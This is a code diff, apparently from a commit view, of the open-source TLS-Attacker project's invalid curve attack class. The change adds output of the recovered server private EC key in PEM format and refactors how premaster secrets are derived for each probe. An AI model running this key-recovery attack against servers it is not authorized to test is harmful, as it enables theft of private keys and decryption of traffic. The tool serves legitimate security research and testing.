1313import de .rub .nds .modifiablevariable .bytearray .ModifiableByteArray ;
1414import de .rub .nds .modifiablevariable .util .ArrayConverter ;
1515import de .rub .nds .tlsattacker .attacks .config .InvalidCurveAttackConfig ;
16+ import de .rub .nds .tlsattacker .attacks .ec .EcPemCreator ;
1617import de .rub .nds .tlsattacker .attacks .ec .ICEAttacker ;
1718import de .rub .nds .tlsattacker .attacks .ec .oracles .RealDirectMessageECOracle ;
1819import de .rub .nds .tlsattacker .core .config .Config ;
3637import de .rub .nds .tlsattacker .core .workflow .factory .WorkflowConfigurationFactory ;
3738import de .rub .nds .tlsattacker .core .workflow .factory .WorkflowTraceType ;
3839import java .math .BigInteger ;
40+ import java .security .NoSuchAlgorithmException ;
41+ import java .security .NoSuchProviderException ;
42+ import java .security .spec .InvalidKeySpecException ;
43+ import java .security .spec .InvalidParameterSpecException ;
3944import org .apache .logging .log4j .LogManager ;
4045import org .apache .logging .log4j .Logger ;
4146import org .bouncycastle .util .BigIntegers ;
@@ -69,6 +74,16 @@ public void executeAttack() {
6974 tlsConfig .getDefaultSelectedNamedGroup ());
7075 BigInteger result = attacker .attack ();
7176 LOGGER .info ("Result found: {}" , result );
77+
78+ try {
79+ String pem = EcPemCreator .createPemFromPrivateEcKey (tlsConfig .getDefaultSelectedNamedGroup ().getJavaName (),
80+ result );
81+ LOGGER .info ("Resulting private key in PEM format:\n {}" , pem );
82+ } catch (NoSuchAlgorithmException | NoSuchProviderException | InvalidKeySpecException
83+ | InvalidParameterSpecException e ) {
84+ LOGGER .info ("Creating a PEM privte key object failed: " , e );
85+ }
86+
7287 }
7388
7489 /**
@@ -85,22 +100,18 @@ public Boolean isVulnerable() {
85100 EllipticCurve curve = CurveFactory .getCurve (config .getNamedGroup ());
86101 Point point = Point .createPoint (config .getPublicPointBaseX (), config .getPublicPointBaseY (),
87102 config .getNamedGroup ());
88- for (int i = 0 ; i < getConfig ().getProtocolFlows (); i ++) {
89- if (config .getPremasterSecret () != null ) {
90- premasterSecret = config .getPremasterSecret ();
91- } else {
92- Point sharedPoint = curve .mult (new BigInteger ("" + i + 1 ), point );
93- premasterSecret = sharedPoint .getX ().getData ();
94- if (premasterSecret == null ) {
95- premasterSecret = BigInteger .ZERO ;
96- }
97- LOGGER .debug ("PMS: " + premasterSecret .toString ());
98- }
103+
104+ int protocolFlows = getConfig ().getProtocolFlows ();
105+ if (config .getPremasterSecret () != null ) {
106+ protocolFlows = 1 ;
107+ }
108+
109+ for (int i = 0 ; i < protocolFlows ; i ++) {
110+ setPremasterSecret (curve , i , point );
99111 try {
100112 WorkflowTrace trace = executeProtocolFlow ();
101113 if (!WorkflowTraceUtil .didReceiveMessage (HandshakeMessageType .SERVER_HELLO , trace )) {
102114 LOGGER .info ("Did not receive ServerHello. Check your config" );
103-
104115 return null ;
105116 }
106117 if (!WorkflowTraceUtil .didReceiveMessage (HandshakeMessageType .FINISHED , trace )) {
@@ -116,6 +127,19 @@ public Boolean isVulnerable() {
116127 return false ;
117128 }
118129
130+ private void setPremasterSecret (EllipticCurve curve , int i , Point point ) {
131+ if (config .getPremasterSecret () != null ) {
132+ premasterSecret = config .getPremasterSecret ();
133+ } else {
134+ Point sharedPoint = curve .mult (new BigInteger ("" + (i + 1 )), point );
135+ premasterSecret = sharedPoint .getX ().getData ();
136+ if (premasterSecret == null ) {
137+ premasterSecret = BigInteger .ZERO ;
138+ }
139+ LOGGER .debug ("PMS: " + premasterSecret .toString ());
140+ }
141+ }
142+
119143 private WorkflowTrace executeProtocolFlow () {
120144 Config tlsConfig = getTlsConfig ();
121145 WorkflowTrace trace = new WorkflowConfigurationFactory (tlsConfig ).createWorkflowTrace (WorkflowTraceType .HELLO ,
0 commit comments